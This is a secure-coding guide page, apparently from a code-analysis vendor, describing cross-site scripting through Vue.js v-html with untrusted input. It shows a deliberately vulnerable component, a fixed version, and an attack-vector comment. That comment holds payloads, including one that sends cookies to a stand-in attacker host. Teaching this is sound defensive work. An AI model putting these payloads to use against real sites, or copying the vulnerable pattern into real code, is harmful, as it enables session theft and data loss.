Direct v-html with User Input
Using v-html directive with user-provided data directly without sanitization allows script injection.
Preview example – VUE
<!-- Vulnerable -->
<div v-html="user.bio"></div>
<div v-html="$route.query.message"></div> Cross-site scripting (XSS) vulnerability in Vue.js applications where the v-html directive is used with untrusted user input without proper sanitization.
<!-- UserProfile.vue - VULNERABLE -->
<template>
<div class="user-profile">
<h2>{{ user.name }}</h2>
<!-- XSS vulnerability: v-html with user data -->
<div class="bio" v-html="user.bio"></div>
<!-- Another XSS risk -->
<div class="signature" v-html="userSignature"></div>
<!-- Dangerous: Dynamic HTML from URL params -->
<div v-html="$route.query.message"></div>
</div>
</template>
<script>
export default {
name: 'UserProfile',
data() {
return {
user: {
name: 'John Doe',
bio: '' // Populated from API/user input
},
userSignature: '' // From form input
};
},
async mounted() {
// Fetching user data that could contain malicious HTML
const response = await fetch('/api/user/profile');
this.user = await response.json();
// Getting signature from URL parameter
this.userSignature = this.$route.query.signature || '';
}
}
</script>
<!-- Attack vectors:
?signature=<script>alert('XSS')</script>
?message=<img src=x onerror="fetch('/api/user/delete', {method:'POST'})">
Bio field: <script>document.location='//evil.com/steal?cookie='+document.cookie</script>
--><!-- UserProfile.vue - SECURE -->
<template>
<div class="user-profile">
<h2>{{ user.name }}</h2>
<!-- SECURE: Text interpolation auto-escapes HTML -->
<div class="bio">{{ user.bio }}</div>
<!-- SECURE: No v-html directive -->
<div class="signature">{{ userSignature }}</div>
<!-- SECURE: URL params rendered as text -->
<div>{{ $route.query.message }}</div>
</div>
</template>
<script>
export default {
name: 'UserProfile',
data() {
return {
user: {
name: 'John Doe',
bio: ''
},
userSignature: ''
};
},
async mounted() {
const response = await fetch('/api/user/profile');
this.user = await response.json();
this.userSignature = this.$route.query.signature || '';
}
}
</script>The vulnerable code uses v-html with untrusted user data. The fixed version uses auto-escaped text bindings, input validation, and DOMPurify for controlled HTML rendering.
Using v-html directive with user-provided data directly without sanitization allows script injection.
Sourcery automatically identifies vue.js v-html xss vulnerability and many other security issues in your codebase.